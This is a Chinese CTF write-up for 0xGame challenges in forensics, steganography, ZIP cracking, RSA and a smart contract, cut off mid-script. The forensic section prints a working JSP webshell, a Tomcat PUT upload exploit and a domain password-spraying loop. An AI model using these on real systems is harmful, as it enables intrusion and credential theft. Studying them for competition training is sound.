第一次备份传输返回 426 Connection closed; transfer aborted.。第二次控制连接发送 REST 7300 后重新下载,因此将两段依次拼接,得到与 SIZE backup.zip 一致的 14673 字节。

REST 7300 的含义是从文件偏移 7300 字节处继续传输。因此第二段是同一个 ZIP 的后半部分,单独打开不会得到完整压缩包。

手工导出时,分别使用 tcp.port == 40501、40502、40503、40510 定位数据连接,追踪对应 TCP 流,选择服务端到客户端方向,以 Raw 格式保存。追踪 TCP 流会进行 TCP 重组;不要直接把每个包的载荷按捕获顺序拼起来,否则可能把重传数据重复写入。

尝试流量中出现的密码,123456 可以解密 readme.zip

image\.png

直接用 Excel 打开恢复出的 roster.xlsx,在密码提示中输入 Bk_Ops#2026

根据运维小王定位到王磊

image\.png

Text
1
NQ2077 + 202107 = NQ2077202107

根据拼接的密码拿到flag

image\.png

Text
1
0xGame{e2717ba6-a1dc-4171-a741-bc89be5d7b2e}

挽尊糕手

整体思路:零宽字符隐写 → SNOW 空白隐写(密码 3.7)→ 十六进制 ZIP → MD5 哈希 → 查询明文 flag。

打开题目附件发现一堆零宽字符

image\.png

image\.png

解密后得到《Never Gonna Give You Up》中英歌词。保留行尾空格和 Tab,保存为 decoded-story.txt

从图片rgb最低位的隐写内容得到隐写密码3.7,进行snow解密

image\.png

Text
1
snow -C -p 3.7 decoded-story.txt

输出 440 个十六进制字符,以 504B030414000800 开头。转为 220 字节 ZIP 文件后,解压得到 flag.txt

image\.png

图片 PNG 的 eXIf 块中,ImageDescription 为 https://www.somd5.com/

image\.png

image\.png

Text
1
0xGame{where_is_true_lovvvvve?}

gift

这题纯送分

image\.png

1
0xGame{Just_A_g1ft_f0r_y0u}

取证大师!

HTTP 请求中的 Host 为:

1
Host: 192.168.190.20:8080

服务首页显示 Apache Tomcat/8.5.21,因此被攻击的 Web 服务端口是 8080。

攻击者先尝试访问 /0xGamePanel/admin/login,使用了 admin123、0xGame2026、0xGame@2026、123456 等口令,但这些请求返回 HTTP 404。这里不能把提交过的口令当成成功登录的密码。

随后出现关键请求:

1
2
3
PUT /0xGamePanel/uploads/shell.jsp/ HTTP/1.1
Host: 192.168.190.20:8080
User-Agent: curl/8.21.0

上传内容是 JSP WebShell,服务器返回:

1
HTTP/1.1 201

请求目标末尾有一个 /,实际写入的文件却是 shell.jsp。结合 Tomcat 8.5.21 的版本,这对应 CVE-2017-12617:DefaultServlet 允许写入时,通过构造 PUT 路径绕过 JSP 上传限制,实现任意 JSP 写入和远程代码执行。

磁盘中的 C:\Tomcat85\conf\web.xml 也印证了题干所说的临时改动:

1
2
3
4
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

readonly=false 使 DefaultServlet 接受写入操作。WebShell 的实际位置为:

1
2
URL:/0xGamePanel/uploads/shell.jsp
磁盘:C:\Tomcat85\webapps\0xGamePanel\uploads\shell.jsp

JSP 的核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
class U extends ClassLoader {
U(ClassLoader c) { super(c); }
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
if (request.getParameter("pass") != null) {
new U(this.getClass().getClassLoader())
.g(new sun.misc.BASE64Decoder()
.decodeBuffer(request.getParameter("pass")))
.newInstance().equals(pageContext);
}

后续 POST 请求带有 Base64 编码的 Java class、随机参数名称,以及编码后的命令参数。结合 Java 载荷中的 command/Exec、filemanager/Download_file 等类名和响应分隔标记,可以识别出攻击者使用的是 蚁剑(AntSword)。

需要先重组 TCP 流,再解析 HTTP 请求体。直接对抓包做 strings 搜索会把跨包的长参数拆开,导致 Base64 解码不完整。本题的命令参数带有两个随机前缀字符,去掉后解码即可。例如:

1
2
3
4
5
6
7
import base64
from urllib.parse import parse_qs

params = parse_qs(http_body)
value = params["xb553de4f540f8"][0]
command = base64.b64decode(value[2:]).decode("utf-8")
print(command)

恢复出的侦察命令包括 whoami、hostname、net user /domain、ipconfig。响应表明执行账户为 0xgame-wks01\0xplayer,业务主机为 0XGAME-WKS01。攻击者源 IP 为 192.168.190.1。

攻击者枚举域账户后,用同一个密码依次尝试多个账号。解码后的命令如下:

1
2
3
4
for %u in (Administrator event_admin score_ops webadmin deploy sql_svc ctfplayer01 guest_view backup_svc) do @(
net use \\0XGAME-DC01\IPC$ /user:OXGAAAAAME\%u 0xGame@2026
& net use \\0XGAME-DC01\IPC$ /delete >nul 2>&1
)

最终命中的账户是 backup_svc,成功使用的密码为 0xGame@2026。后续命令单独用该账户认证,并映射共享:

1
2
3
net use \\0XGAME-DC01\CTFShare /user:OXGAAAAAME\backup_svc 0xGame@2026
dir \\0XGAME-DC01\CTFShare
copy \\0XGAME-DC01\CTFShare\event_backup.zip C:\Users\0xPlayer\Downloads\

域认证流量中的域名是 OXGAAAAAME.LOCAL;域控名称是 0XGAME-DC01,IP 为 192.168.190.30。

之后蚁剑发送下载请求,目标为 C:/Users/0xPlayer/Downloads/event_backup.zip。HTTP 响应中出现 ZIP 文件头,镜像 Downloads 目录中也保留了同名副本,两份证据支持备份已被取走。

解压备份后得到:

1
2
3
backup_manifest.txt
scoreboard_backup.csv
challenge_meta.json

积分榜内容为:

1
2
3
4
team,score,last_submit
ShadowByte,1850,2026-10-03 17:42:11
NullPointer,1620,2026-10-03 17:50:08
BlueWhale,1490,2026-10-03 18:03:27

所以排名第一的队伍是 ShadowByte。

使用 Python 3.12、dissect.evidence 和 dissect.ntfs 解析镜像,无需把原始镜像转换为完整的 60 GiB 裸盘。GPT 中 Windows 主分区起始扇区为 239616,扇区大小为 512 字节。

解析方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from dissect.evidence.ewf import EWF
from dissect.ntfs import NTFS
from dissect.util.stream import RangeStream

ewf = EWF(open("0xGame2026/1.E01", "rb"))
disk = ewf.open()
volume = RangeStream(disk, 239616 * 512,
(124579774 - 239616 + 1) * 512)
ntfs = NTFS(volume)

record = ntfs.mft.get("ProgramData/0xGame/Panel/db/panel.db")
with open("panel.db", "wb") as output:
output.write(record.open().read())

本次使用的库版本为 dissect.evidence 3.13、dissect.ntfs 3.16。工作目录中的 disk_extract.py 封装了文件提取和目录枚举操作。

数据库位于:

1
C:\ProgramData\0xGame\Panel\db\panel.db

查询管理员记录:

1
2
3
4
5
<br class="Apple-interchange-newline"><div></div>

SELECT username, password, updated_at
FROM users
WHERE username = 'admin';

得到:

1
admin | Sup3rP@nel_0x26!! | 2026-10-04 02:15:30

admin_audit 表中还有对应的变更记录:

1
2
3
4
5
action:     password_reset
target: users.admin
source_ip: 192.168.190.1
user_agent: cmd.exe via shell.jsp
created_at: 2026-10-04 02:15:30

因此攻击者在数据库中修改的管理员密码是 Sup3rP@nel_0x26!!。该结论由磁盘数据库及日志支持;抓包中未直接看到对应的数据库修改命令。

备份脚本 ProgramData/0xGame/Panel/sripts/sync_backup.ps1 中也有一组域凭据,但注释明确说明密码已经轮换、脚本尚未更新。因此不能把脚本里的 B@ckup_0xg4me2026 当作密码喷洒命中的密码。

在以下 PowerShell 历史文件中发现创建账户的命令:

1
C:\Users\forensic\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
1
2
net user 0xPlayer 1qaz2wsx /add
net localgroup Users 0xPlayer /add

据此得到本地用户 0xPlayer 的明文密码 1qaz2wsx,并通过问答服务验证。

镜像中有一个没有扩展名的 10 MiB 文件:

1
C:\Program Files (x86)\secret\secret

普通压缩工具无法识别,文件头也没有常见格式签名。其内容呈随机字节,大小为整齐的 10 MiB,需要考虑加密容器。

用户 Pictures 目录中的 The_Big_Three.jpg 提供了关键线索。图片可以正常显示,但 JPEG 结束标记 FF D9 后还有额外内容:

1
KED64FA/D.DCX C1WEX+AX0

该字符串符合 Base45 字符集。解码方法如下:

1
2
3
4
5
6
7
8
9
10
11
alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
encoded = "KED64FA/D.DCX C1WEX+AX0"
decoded = bytearray()

for offset in range(0, len(encoded), 3):
group = encoded[offset:offset + 3]
value = sum(alphabet.index(char) * 45**index
for index, char in enumerate(group))
decoded.extend(value.to_bytes(2 if len(group) == 3 else 1, "big"))

print(decoded.decode())
1
i_wanna_eat_VC!

其中 VC 指向 VeraCrypt。但直接把字符串作为密码没有成功:本题使用的是空密码,整张图片作为 keyfile。

VeraCrypt 支持从文件内容生成密钥材料。以完整的 The_Big_Three.jpg 作为 keyfile,并使用空密码,可以成功解密容器头,得到 VERA 魔数。

验证出的参数为:

1
2
3
4
5
密码:空
密钥文件:The_Big_Three.jpg
算法:AES-XTS
KDF:PBKDF2-HMAC-SHA512
迭代次数:500000

必须保留图片末尾的 Base45 字符串。 密钥计算使用文件字节;重新保存图片或删除 JPEG 结束标记后的内容,会改变密钥文件。

Windows 下可以使用现成的 VeraCrypt 工具只读挂载。以下命令中的容器与图片路径应替换为提取后的路径:

1
2
3
4
5
6
7
8
9
& 'E:\VeraCrypt\VeraCrypt.exe' `
/v 'C:\path\to\secret' `
/l V /p '' `
/k 'C:\path\to\The_Big_Three.jpg' `
/a /q /s /m ro

Get-Content -LiteralPath 'V:\secret.txt'

& 'E:\VeraCrypt\VeraCrypt.exe' /d V /q /s

容器中 secret.txt 的内容是:

1
0xGame{y0u_f1nd_m3_h4h4h4!}

这是第 10 题的答案,最终比赛 flag 由问答服务另行返回。

提取文件的 SHA256 如下,便于核对复现时是否保持字节一致:

1
0xGame{0335bd0c-d94a-4985-a013-b0ef58b68e2d}

小伊卡...不胖...不胖...(已黑化)

查看文件开头的十六进制数据:

1
2
3
4
89 50 4E 47 0D 0A 1A 0A
00 00 00 0D 49 48 44 52
00 00 00 00 00 00 00 00
08 02 00 00 00 83 AF 5E 74

前 8 字节是正常的 PNG 签名。接下来是 IHDR 数据块,长度为 0x0D,即 13 字节。

PNG 数据块的一般结构为:

1
Length(4 字节) | Type(4 字节) | Data(Length 字节) | CRC(4 字节)

其中 CRC 覆盖 Type + Data,不包含 Length。IHDR 各字段的位置如下,偏移从文件起始处计算:

宽、高为 0 不符合 PNG 规范,因而图片无法正常打开。逐块校验后发现,只有 IHDR 的 CRC 不匹配,其余数据块的 CRC 全部正确。这说明可以从修复宽高入手,利用保留的校验值验证候选尺寸。

PNG 的图像数据位于 IDAT 块中。一个文件可能包含多个 IDAT,需要按照文件顺序拼接各块的数据区,再对拼接结果进行 zlib 解压。

这里得到的是经过 PNG 行过滤的扫描线数据,还不是可以直接显示的 RGB 像素,但过滤不会改变每行的数据长度。

根据 IHDR,本图使用 8 位 RGB,每个像素占 3 字节,且没有 Adam7 交错。每行开头还有 1 字节过滤类型,所以:

1
2
每行长度 = 1 + 3 × 宽
总长度 = (1 + 3 × 宽) × 高

代入实际解压长度:

1
(3 × W + 1) × H = 1229440

因此只需枚举 W;当 1229440 能被 3 × W + 1 整除时,就能得到整数 H。相比盲目枚举宽、高的所有组合,这个约束大幅减少了候选数量。

还可以检查每行开头的过滤类型是否在 0–4 范围内。不过这个检查只能帮助筛选,某些错误尺寸也会碰巧通过,不能仅凭它确定正确答案。

对每组候选尺寸,将 W、H 按大端格式填入 IHDR 数据,再计算:

1
CRC32("IHDR" + 13 字节 IHDR 数据)

将结果与文件中保留的 0x83AF5E74 比较。枚举结果中仅有这一组匹配:

1
2
3
W = 640
H = 640
CRC32 = 0x83AF5E74

数据长度也满足:

1
2
3
(3 × 640 + 1) × 640
= 1921 × 640
= 1229440

将宽高字段写回 640 后,原来的 CRC 就能通过校验,无需重新计算并替换文件中的 CRC,也无需修改 IDAT。

recovered\.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const fs = require('fs');
const path = require('path');
const zlib = require('zlib');
const dir = fs.readdirSync('.').find(x => fs.statSync(x).isDirectory() && fs.readdirSync(x).some(y=>y.endsWith('.png')));
const src = path.join(dir, fs.readdirSync(dir).find(x=>x.endsWith('.png')));
const b = fs.readFileSync(src);
const table = Array.from({length:256}, (_,i)=>{for(let j=0;j<8;j++)i=(i>>>1)^((i&1)?0xedb88320:0);return i>>>0});
function crc(buf){let c=0xffffffff;for(const v of buf)c=table[(c^v)&255]^(c>>>8);return (c^0xffffffff)>>>0;}
const data=[];
for(let p=8;p<b.length;){const n=b.readUInt32BE(p),type=b.toString('ascii',p+4,p+8);console.log(type,n,'CRC',crc(b.subarray(p+4,p+8+n))===b.readUInt32BE(p+8+n));if(type==='IDAT')data.push(b.subarray(p+8,p+8+n));p+=12+n;}
const raw=zlib.inflateSync(Buffer.concat(data));
console.log('Inflated bytes:',raw.length,'Header:',b.subarray(16,29).toString('hex'));
const target=b.readUInt32BE(29),header=Buffer.from(b.subarray(12,29));
for(let w=1;w<=Math.floor((raw.length-1)/3);w++){
const stride=3*w+1;if(raw.length%stride)continue;
const h=raw.length/stride;header.writeUInt32BE(w,4);header.writeUInt32BE(h,8);
let valid=true;for(let p=0;p<raw.length;p+=stride){if(raw[p]>4){valid=false;break;}}
console.log('Candidate',w,h,'filters valid',valid,'CRC matches',crc(header)===target);
if(crc(header)===target){const out=Buffer.from(b);header.copy(out,12);fs.writeFileSync('recovered.png',out);console.log('Recovered recovered.png',w,h);console.log(`Final flag (text read from recovered image): 0xGame{d0_yOu_tru1y_underst@nd_(Rc?_${w}_${h}}`);}
}
1
0xGame{d0_yOu_tru1y_underst@nd_(Rc?_640_640}

Zip医生

ZipCrypto 是 ZIP 的传统加密算法,存在已知明文攻击。使用 bkcrack 时,需要至少 12 字节已知明文,其中至少 8 字节连续。攻击成功后可恢复三个 32 位内部密钥,进而解密使用相同密码的其他条目。

ZIP 在加密之前先压缩,因此攻击时需要知道的是压缩后、加密前的数据。如果使用 Deflate,即使知道原始文件头,也未必知道对应的压缩字节。Store 则不进行压缩,可以直接利用文件格式的固定字节。这正是题干的提示。

使用 bkcrack 1.8.1 查看附件:

1
2
$bk = './tools/bkcrack/bkcrack-1.8.1-win64/bkcrack.exe'
& $bk -L secret.zip

附件中的条目如下:

两个条目的加密标志均为 1。加密数据大小比原始大小多 12 字节,对应 ZipCrypto 加密头;结合条目结构可确认使用传统 ZipCrypto。

locked.cpython-313.pyc 提供了攻击切入点:文件名提示 CPython 3.13,且 .pyc 中存在大量固定或可预测的字段。

时间戳模式下,.pyc 的前 16 字节结构为:

本题按 CPython 3.13 的时间戳模式构造候选头部:magic 为 f3 0d 0d 0a,标志为四个零字节。修改时间未知,跳过该字段。

ZIP 已公开 locked.py 的原始大小:488 字节。假设 .pyc 对应这份源码,则偏移 12 的源码大小为:

1
2
488 = 0x1e8
小端表示:e8 01 00 00

时间戳模式和源码对应关系属于攻击前的合理假设,后续通过恢复文件和 CRC 校验确认。

16 字节文件头之后是 marshal 序列化的 code 对象。对于本题的模块级代码,可以构造以下候选字段:

模块代码没有函数参数,因此三个参数字段均为零。与前面的源码大小拼接后,得到从偏移 12 开始的 17 字节连续明文:

1
e8 01 00 00 e3 00 00 00 00 00 00 00 00 00 00 00 00

这已经满足 bkcrack 的明文数量要求。另补充两个候选明文片段:

  • 偏移 0:f30d0d0a00000000,即 magic 和标志字段。

  • 偏移 30:七个零字节,即栈大小字段的高三字节和模块代码的标志字段。

第二个片段假设模块栈大小小于 256、代码标志为零,不需要猜测栈大小的低字节。解密后实际确认:栈大小为 5,代码标志为 0。

先生成 17 字节的明文文件,再启动攻击。以下命令在题目目录的 PowerShell 中执行:

1
2
3
4
5
$known = [byte[]](0xe8,1,0,0,0xe3,0,0,0,0,0,0,0,0,0,0,0,0)
[IO.File]::WriteAllBytes((Join-Path $pwd 'known-pyc.bin'), $known)

$bk = './tools/bkcrack/bkcrack-1.8.1-win64/bkcrack.exe'
& $bk -C secret.zip -c locked.cpython-313.pyc -p known-pyc.bin -o 12 -j 14 -x 0 f30d0d0a00000000 -x 30 00000000000000

参数说明:

攻击成功,得到内部密钥:

1
64917537 61b24fcf b564419c

使用密钥移除 ZIP 加密:

1
2
& $bk -C secret.zip -k 64917537 61b24fcf b564419c -D decrypted.zip
Expand-Archive -LiteralPath decrypted.zip -DestinationPath unpacked -Force

这里恢复的是 ZipCrypto 的内部密钥,已经足以解密文件,无须继续穷举原始密码。

实际解密后,locked.py 和 locked.cpython-313.pyc 的 CRC32 都与 ZIP 记录一致,确认解密成功。

解出来之后是一个rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from secret import flag
from Crypto.Util.number import bytes_to_long, getPrime

p = '??'
q = '???'
n = 115792089237316195423570985008687907853269984665640564039457584007913129639937

e = 65537

m = bytes_to_long(flag)
assert m < n, "Flag is too long!"
c = pow(m, e, n)

print(f"n = {n}")
print(f"c = {c}")

n = 115792089237316195423570985008687907853269984665640564039457584007913129639937
c = 19411058501260029511744403653712197844299720287315419561082722362568892501402

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
n = 115792089237316195423570985008687907853269984665640564039457584007913129639937
e = 65537
c = 19411058501260029511744403653712197844299720287315419561082722362568892501402

p = 1238926361552897
q = 93461639715357977769163558199606896584051237541638188580280321

assert n == 2**256 + 1
assert p * q == n

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

# 重新加密,确认恢复的明文与原始密文一致。
assert pow(m, e, n) == c
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(flag.decode())
1
0xGame{pyc_1s_n0t_s0_s3cur3}

ez_chain

题目给出的条件是一个部署在私有以太坊测试链上的 Greeter 合约,目标是让 isSolved() 返回 true。从判题服务菜单可以直接拿到源码,源码本身非常短,只有四个成员:一个 greeting 状态变量、构造器、greet() 读取器、setGreeting() 写入器,以及 isSolved() 判定函数。

第一步是读懂判据。 isSolved() 的实现是把 greeting 和硬编码字符串 "HelloChainFlag" 分别做 keccak256(abi.encodePacked(...)) 后比较。这意味着解题条件没有任何花样——只要让合约里的 greeting 等于 "HelloChainFlag",函数就返回真。目标状态由此确定:改写 greeting。

第二步是寻找可达路径。 能改变 greeting 的只有 setGreeting(string) 和构造器。构造器只在部署时执行一次,而部署是由判题服务用它的账户完成的,初始值不可控;因此唯一的入口就是 setGreeting。

第三步是检查权限门槛。 关键发现在这里:setGreeting 的修饰符只有 public,没有任何 onlyOwner、require(msg.sender == ...) 之类的访问控制。也就是说,这个函数对所有人开放,任何有 gas 的账户都能调用它。

由此得出整题的核心判断。 判题服务的定位只是”帮你部署”——它生成 deployer 账户、持有其私钥、代替你完成部署,但私钥本身不会交给你。常规思路会卡在这里:想操作合约却没有账户。但既然 setGreeting 无权限控制,就完全不需要服务端的账户——换一个执行主体即可:在本地自行生成一个账户,从水龙头领一点测试币,由这个账户去调用公开的 setGreeting。攻击面从”攻破合约”降级为”打通链上环境”。

接下来是执行层面的三个环节。 其一,部署链路必须靠 token 串联:判题服务的每个菜单选项都是一次性会话,发完一个选项、收完输出,服务端立即关闭连接,所以”创建账户”和”部署合约”必须拆成两次独立连接,中间靠服务端下发的 PASETO token 关联身份。其二,部署账户需要 gas,要先把它的地址提交给水龙头领币;注意水龙头只接受 EIP-55 校验和格式的地址,全小写会被拒绝,且限流按 IP 加地址每分钟一次,超限返回的是 HTTP 429 纯文本而非 JSON。其三,本地账户领币后,需要手工构造交易——拼接 setGreeting(string) 的四字节函数选择器与 ABI 编码后的字符串参数,填入 nonce、gasPrice 和 chainId 后签名,再通过 eth_sendRawTransaction 广播上链。

最后是验证与收尾。 交易上链后(回执状态为 0x1),用 eth_call 调用 isSolved(),返回 0x...01 即表示条件满足;随后重新连接判题服务,选择领 flag 选项并附上 token,即可拿到 0xGame{695b442b-e92f-4abc-a7ab-da3fa69e69c2}。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json, time, re, os, sys, socket, urllib.request, urllib.parse

NC_HOST, NC_PORT = 'nc1.ctfplus.cn', 39675
RPC = 'http://chain.challenge.ctfplus.cn:11890'
FAUCET = 'http://chain.challenge.ctfplus.cn:14824/api/claim'
CHAIN_ID = 35541
GREETING = 'HelloChainFlag'
KEYFILE = 'eth_solver_key.txt'
TOKENFILE = 'eth_token.txt'

from eth_account import Account
from Crypto.Hash import keccak

# ---------------- 基础 HTTP / RPC ----------------
def http_post(url, data, ctype='application/json', timeout=30):
req = urllib.request.Request(url, data=data, headers={'Content-Type': ctype})
return urllib.request.urlopen(req, timeout=timeout).read().decode()

def rpc(method, params):
body = json.dumps({"jsonrpc": "2.0", "method": method, "params": params, "id": 1}).encode()
r = json.loads(http_post(RPC, body))
if 'error' in r:
raise RuntimeError(f'{method} -> {r["error"]}')
return r.get('result')

def balance(addr):
return int(rpc('eth_getBalance', [addr, 'latest']), 16)

# ---------------- 水龙头 (每 IP 每分钟 1 次) ----------------
def fund(addr, tries=20):
for _ in range(tries):
try:
r = http_post(FAUCET, urllib.parse.urlencode({'address': addr}).encode(),
'application/x-www-form-urlencoded')
except Exception as e:
r = 'ERR ' + str(e)
print(' [faucet]', r, flush=True)
if r.startswith('Txhash'):
return True
m = re.search(r'wait (\d+)s', r)
time.sleep((int(m.group(1)) + 3) if m else 5)
return False

def ensure_funded(addr, min_wei=10**15):
if balance(addr) >= min_wei:
print(f' {addr} 已有余额, 跳过领水', flush=True)
return
fund(addr)
for _ in range(20):
time.sleep(3)
if balance(addr) > 0:
print(' balance =', balance(addr), flush=True)
return
raise RuntimeError('领水后余额仍为 0')

# ---------------- 判题服务 (一次性会话) ----------------
def nc(choice, token=None, wait=10.0):
"""连一次服务, 发一个菜单选项(可选再发 token), 收完输出后连接会被服务端关闭"""
s = socket.create_connection((NC_HOST, NC_PORT), timeout=15)
def recv(w):
s.settimeout(w); buf = b''; t0 = time.time()
while time.time() - t0 < w:
try:
d = s.recv(65535)
if not d: break
buf += d; t0 = time.time()
except socket.timeout:
break
return buf.decode('utf-8', 'replace')
recv(3) # 菜单
s.sendall(f'{choice}\n'.encode())
out = recv(6)
if token is not None:
s.sendall((token + '\n').encode())
out += recv(wait)
s.close()
return out

# ---------------- ABI 小工具 ----------------
def keccak256(b):
h = keccak.new(digest_bits=256); h.update(b); return h.digest()

def selector(sig):
return keccak256(sig.encode())[:4]

def enc_str(s):
b = s.encode()
return (32).to_bytes(32, 'big') + len(b).to_bytes(32, 'big') + b + b'\x00' * ((32 - len(b) % 32) % 32)

def eth_call(to, data):
return rpc('eth_call', [{'to': to, 'data': '0x' + data.hex()}, 'latest'])

# ---------------- 主流程 ----------------
def main():
# 1) 建账户 + token
print('[*] 1/4 创建 deployer 账户', flush=True)
out = nc(1)
deployer = re.search(r'deployer account:\s*(\S+)', out).group(1)
token = re.search(r'token:\s*(\S+)', out).group(1)
print(' deployer =', deployer, flush=True)
open(TOKENFILE, 'w').write(deployer + '\n' + token + '\n')

# 2) 给 deployer 打钱 -> 部署
print('[*] 2/4 领水 + 部署合约', flush=True)
ensure_funded(deployer)
out = nc(2, token, wait=120)
m = re.search(r'contract address:\s*(0x[0-9a-fA-F]{40})', out)
if not m:
print(out); raise RuntimeError('未拿到合约地址')
contract = m.group(1)
print(' contract =', contract, flush=True)

# 3) 自建账户调用 setGreeting
print('[*] 3/4 调用 setGreeting("HelloChainFlag")', flush=True)
if os.path.exists(KEYFILE):
acct = Account.from_key(open(KEYFILE).read().strip())
else:
acct = Account.create()
open(KEYFILE, 'w').write(acct.key.hex())
print(' solver =', acct.address, flush=True)
ensure_funded(acct.address)

nonce = int(rpc('eth_getTransactionCount', [acct.address, 'pending']), 16)
gasprice = int(rpc('eth_gasPrice', []), 16)
tx = {
'to': contract, 'value': 0, 'gas': 200000, 'gasPrice': gasprice,
'nonce': nonce, 'chainId': CHAIN_ID,
'data': selector('setGreeting(string)') + enc_str(GREETING),
}
signed = acct.sign_transaction(tx)
raw = getattr(signed, 'raw_transaction', None) or getattr(signed, 'rawTransaction')
txh = rpc('eth_sendRawTransaction', ['0x' + raw.hex()])
print(' tx =', txh, flush=True)
for _ in range(30):
time.sleep(2)
rc = rpc('eth_getTransactionReceipt', [txh])
if rc:
print(' receipt status =', rc.get('status'), flush=True)
break

solved = eth_call(contract, selector('isSolved()'))
print(' isSolved() =', solved, flush=True)
if not solved.endswith('1'):
raise RuntimeError('isSolved() 仍为 false')

# 4) 领 flag
print('[*] 4/4 领取 flag', flush=True)
out = nc(3, token, wait=20)
m = re.search(r'flag:\s*(\S+)', out)
print(out, flush=True)
if m:
print('\n[+] FLAG =', m.group(1), flush=True)

if __name__ == '__main__':
main()
1
0xGame{695b442b-e92f-4abc-a7ab-da3fa69e69c2}

Zip医生_revenge

初阶版 secret.zip 里有 locked.cpython-313.pyc + locked.py,可以直接从
源码知道 pyc 的 source-size 字段,再对 ZipCrypto 做已知明文攻击。
升级版只给一个 locked.pyc,文件名里连 Python 版本都没有 —— 这就是「没有信息」。

对偏移 12 和 16(以及 3.6 的 tag、无 ref 标志等变体)各跑一遍已知明文攻击,

哪一组命中就是哪一组:

1
2
3
4
5
# 明文:e3 + 12*00
printf 'e3000000000000000000000000' | xxd -r -p > known-s3cr3t.bin

# Python 3.6 布局:-o 12
bkcrack -C s3cr3t.zip -c locked.pyc -p known-s3cr3t.bin -o 12 -j 16

命中:

1
Keys: eda8ff6b f26c3702 ff8c039b

用密钥解密并校验 CRC32(必须等于 zip 里记录的 a278a337):

1
bkcrack -C s3cr3t.zip -k eda8ff6b f26c3702 ff8c039b -D decrypted-s3cr3t.zip

解出的 locked.pyc 头部:

1
2
330d0d0a 203a4c5b 40000000 e3000000 00000000 00000000 04000000 40000000
^magic ^mtime ^size=64 ^code ^argcnt ^kwonly ^nlocals ^stack=4 ^flags=0x40
  • magic 330d0d0a → 小端 0x0D33 = 3379 → CPython 3.6;

  • 头只有 12 字节,code 对象从偏移 12 开始,且**没有 ****co_posonlyargcount**(3.6 特征)。

反汇编 co_code:

1
2
3
LOAD_NAME print; LOAD_CONST 0; LOAD_CONST 1; BINARY_XOR;
LOAD_ATTR to_bytes; LOAD_CONST 2; LOAD_CONST 3; CALL_FUNCTION 2;
LOAD_ATTR decode; CALL_FUNCTION 0; CALL_FUNCTION 1; POP_TOP; LOAD_CONST 4(None); RETURN_VALUE

即源码是:

1
print((C0 ^ C1).to_bytes(31, "big").decode())

co_consts = (C0, C1, 31, "big", None),其中 C0、C1 是两个 247-bit 大整数
(marshal 的 TYPE_LONG:4 字节 15-bit 数位数 + 每数位 2 字节小端)。

C0 ^ C1 的 31 字节大端表示就是 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import os
import re
import struct
import subprocess
import sys
import zlib

HERE = os.path.dirname(os.path.abspath(__file__))
BKCRACK = os.path.join(HERE, "tools", "bkcrack", "bkcrack-1.8.1-win64", "bkcrack.exe")
ZIP = os.path.join(HERE, "s3cr3t.zip")
ENTRY = "locked.pyc"
LOG = os.path.join(HERE, "attack-s3cr3t.log")
PLAIN = os.path.join(HERE, "known-s3cr3t.bin")
DEC = os.path.join(HERE, "decrypted-s3cr3t.zip")

# Python 3.6 pyc:magic(4) + mtime(4) + size(4) = 12 字节头,随后是 marshal。
# 模块级 code 对象:tag 0xe3,co_argcount=co_kwonlyargcount=co_nlocals=0
PLAINTEXT = bytes.fromhex("e3") + b"\x00" * 12 # 偏移 12..24
OFFSET = 12
KEY_RE = re.compile(r"Keys:?\s*([0-9a-f]{8})\s+([0-9a-f]{8})\s+([0-9a-f]{8})", re.I)

def run(cmd, **kw):
return subprocess.run(cmd, capture_output=True, text=True, **kw)

def recover_keys(force=False):
if not force and os.path.exists(LOG):
m = KEY_RE.search(open(LOG, encoding="utf-8", errors="replace").read())
if m:
return m.groups()
with open(PLAIN, "wb") as fh:
fh.write(PLAINTEXT)
print("[*] bkcrack known-plaintext attack (offset=%d)..." % OFFSET)
p = run([BKCRACK, "-C", ZIP, "-c", ENTRY, "-p", PLAIN,
"-o", str(OFFSET), "-j", "16"])
log = p.stdout + p.stderr
open(LOG, "w", encoding="utf-8").write(log)
m = KEY_RE.search(log)
if not m:
raise SystemExit("[-] key recovery failed, see " + LOG)
return m.groups()

def decrypt(keys):
p = run([BKCRACK, "-C", ZIP, "-k", *keys, "-D", DEC])
if p.returncode != 0:
raise SystemExit(p.stdout + p.stderr)
print("[*] decrypted ->", DEC)

def extract():
import zipfile
with zipfile.ZipFile(DEC) as z:
info = z.getinfo(ENTRY)
data = z.read(ENTRY)
assert len(data) == info.file_size, "size mismatch"
assert zlib.crc32(data) & 0xFFFFFFFF == info.CRC, "CRC32 mismatch"
print("[*] %s: %d bytes, CRC32 %08x verified" % (ENTRY, len(data), info.CRC))
return data

# ---- 最小 marshal 解析(只覆盖本题用到的类型)----
def parse_pyc(data):
pos = 12 # Python 3.6 头
refs = []

def i32():
nonlocal pos
